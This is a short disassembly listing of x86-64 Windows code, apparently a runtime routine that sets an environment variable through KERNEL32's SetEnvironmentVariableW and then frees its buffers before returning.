test eax, eax
jne 0x14000cba0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007088
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000cb3f
cmp byte [rbp - 0x21], r15b
je 0x14000cb74
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000cb74
call fcn.14000ac18
test eax, eax
jne 0x14000cb60
cmp byte [rbp - 0x21], r15b
je 0x14000cb59
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000cb74
cmp byte [rbp - 0x21], r15b
je 0x14000cb71
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140007b98
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000cba0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000cba3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000cbb1
mov rcx, rdi
call fcn.140007b48
cmp byte [rbp + 0x3f], r15b
je 0x14000cbc0
mov rcx, qword [rbp + 0x27]
call fcn.140007b48
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret